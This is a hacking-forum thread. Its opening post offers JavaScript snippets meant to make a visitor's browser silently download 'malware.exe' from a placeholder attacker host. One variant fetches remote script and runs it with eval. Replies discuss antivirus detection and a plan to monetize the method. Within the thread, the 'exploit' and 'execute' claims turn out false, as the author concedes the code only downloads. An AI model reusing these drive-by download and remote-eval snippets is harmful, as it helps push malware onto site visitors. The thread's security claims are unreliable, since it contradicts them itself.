Hack Forums
JavaScript | exploit browser vulnerability and automatically download and execute - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Cryptography, Encryption, and Decryption (https://hackforums.net/forumdisplay.php?fid=126)
+---- Thread: JavaScript | exploit browser vulnerability and automatically download and execute (/showthread.php?tid=6266950)

Pages: Pages 1 2


JavaScript | exploit browser vulnerability and automatically download and execute - Py_Dev - Mar 26, 2024

Code
//iframe
function exploitVulnerability() {
    
    var iframe = document.createElement('iframe');
  
    iframe.src = 'http://Yoursite.com/malware.exe';
    
    iframe.style.display = 'none';
  
    document.body.appendChild(iframe);
    
    
    iframe.onload = function() {
        
        var script = document.createElement('script');
      
        script.src = 'http://Yoursite.com/malware.exe';
        
        document.body.appendChild(script);
    };
}


window.onload = exploitVulnerability;




//anchor

function downloadAndExecute(url) {
    
    var anchor = document.createElement('a');
    
    anchor.href = url;

    anchor.download = 'malware.exe';
  
    document.body.appendChild(anchor);
    
    anchor.click();
    
    document.body.removeChild(anchor);
}


downloadAndExecute('http://Youresite.com/malware.exe');

//fetch
function fetchAndExecute(url) {
    
    var xhr = new XMLHttpRequest();
    
    xhr.open('GET', url, true);
    
    xhr.responseType = 'blob';
    
    xhr.onload = function() {
        if (xhr.status === 200) {
        
            var reader = new FileReader();
            
            reader.onload = function() {
              
                eval(reader.result);
            };
            // Read the blob response as text
            reader.readAsText(xhr.response);
        }
    };
  
    xhr.send();
}

fetchAndExecute('http://Yoursite.com/malware.js');


//Blob

function createAndDownload(url) {
    
    var xhr = new XMLHttpRequest();
  
    xhr.open('GET', url, true);
  
    xhr.responseType = 'blob';
  
    xhr.onload = function() {
        if (xhr.status === 200) {
          
            var blob = new Blob([xhr.response], { type: 'application/octet-stream' });
          
            var url = URL.createObjectURL(blob);
          
            var anchor = document.createElement('a');
          
            anchor.href = url;
          
            anchor.download = 'malware.exe';
            
            anchor.click();
            
            URL.revokeObjectURL(url);
        }
    };
  
    xhr.send();
}

createAndDownload('http://Yoursite.com/malware.exe');


Hello,

Here are some simple ways to use JavaScript. Please leave your thoughts on these methods below. I'm unaware if any of these methods are patched now. I have not shared on here in a while and thought id post something fun. What is your favorite method listed?


RE: JavaScript | exploit browser vulnerability and automatically download and execute - chormet - Mar 27, 2024

i tested an eset detected it


RE: JavaScript | exploit browser vulnerability and automatically download and execute - Py_Dev - Mar 27, 2024

(Mar 27, 2024 12:29 AM)chormet Wrote:  i tested an eset detected it

Eset is my fav by far. I'm a reseller of their software. Best in the business imo!


RE: JavaScript | exploit browser vulnerability and automatically download and execute - encryX - Apr 19, 2024

Interesting. Should be less detected and improved, but potentially this could be nice source.


RE: JavaScript | exploit browser vulnerability and automatically download and execute - danielgomesb - Jul 13, 2024

Impressive work, I'm browsing your threads and you are contributing a lot with this community. I'll try this method on a testing machine with WD only and get back with results


RE: JavaScript | exploit browser vulnerability and automatically download and execute - I Roll the Nickles - Jul 14, 2024

(Jul 13, 2024 01:19 AM)danielgomesb Wrote:  Impressive work, I'm browsing your threads and you are contributing a lot with this community. I'll try this method on a testing machine with WD only and get back with results

Did Microsoft defender pick It up? Or did It actually work?


RE: JavaScript | exploit browser vulnerability and automatically download and execute - Py_Dev - Jul 14, 2024

(Jul 14, 2024 07:35 AM)I Roll the Nickles Wrote:  Did Microsoft defender pick It up? Or did It actually work?

I use Nod32 and it was detected by them. Test it for yourself.


RE: JavaScript | exploit browser vulnerability and automatically download and execute - danielgomesb - Jul 15, 2024

(Jul 14, 2024 07:35 AM)I Roll the Nickles Wrote:  Did Microsoft defender pick It up? Or did It actually work?

I was not able to make the browser download and execute, tried all the methods, with iframe method it only downloaded the payload, but didn't executed, the other methods did nothing. I was using blogspot to host the html with the code, putty as payload and the browser was Chrome.

Am I missing something?


RE: JavaScript | exploit browser vulnerability and automatically download and execute - DramaKing - Jul 15, 2024

(Jul 15, 2024 07:23 PM)danielgomesb Wrote:  I was not able to make the browser download and execute, tried all the methods, with iframe method it only downloaded the payload, but didn't executed, the other methods did nothing. I was using blogspot to host the html with the code, putty as payload and the browser was Chrome.

Am I missing something?

Yeah, Chrome doesn't allow you to run executables from disk.


RE: JavaScript | exploit browser vulnerability and automatically download and execute - danielgomesb - Jul 15, 2024

(Jul 15, 2024 08:16 PM)DramaKing Wrote:  Yeah, Chrome doesn't allow you to run executables from disk.

Forgot to mention I also tried this in MS Edge, same results, guess that's because it's chromium based. I think this only works on outdated browsers like old Firefox versions and IE, but I'll try on Opera. If it works I have a way to monetize it


RE: JavaScript | exploit browser vulnerability and automatically download and execute - Py_Dev - Jul 16, 2024

(Jul 15, 2024 08:38 PM)danielgomesb Wrote:  Forgot to mention I also tried this in MS Edge, same results, guess that's because it's chromium based. I think this only works on outdated browsers like old Firefox versions and IE, but I'll try on Opera. If it works I have a way to monetize it


This code will only download, it will not execute. However, I believe chrome will auto execute a pdf if downloaded ;) Fyi.


RE: JavaScript | exploit browser vulnerability and automatically download and execute - SuddenStrike2 - Jul 17, 2024

Just saw the thread since its on top. I try to make use of it with a different approach, thanks for sharing and making forum a better place.


RE: JavaScript | exploit browser vulnerability and automatically download and execute - danielgomesb - Jul 17, 2024

(Jul 16, 2024 05:32 PM)Py_Dev Wrote:  This code will only download, it will not execute. However, I believe chrome will auto execute a pdf if downloaded ;) Fyi.

Then I got confused by the title of the thread "download and execute" made me think this scripts were like an exploit that run .exe directly from the browser. I know it's kinda impossible, but this gave me some hopes


RE: JavaScript | exploit browser vulnerability and automatically download and execute - Py_Dev - Jul 18, 2024

(Jul 17, 2024 02:13 PM)danielgomesb Wrote:  Then I got confused by the title of the thread "download and execute" made me think this scripts were like an exploit that run .exe directly from the browser. I know it's kinda impossible, but this gave me some hopes

Oh i didnt realize i even put that in the title, it wont let me change it now. My b bro.


RE: JavaScript | exploit browser vulnerability and automatically download and execute - kasthekek - Jul 23, 2024

That... is not how iframes work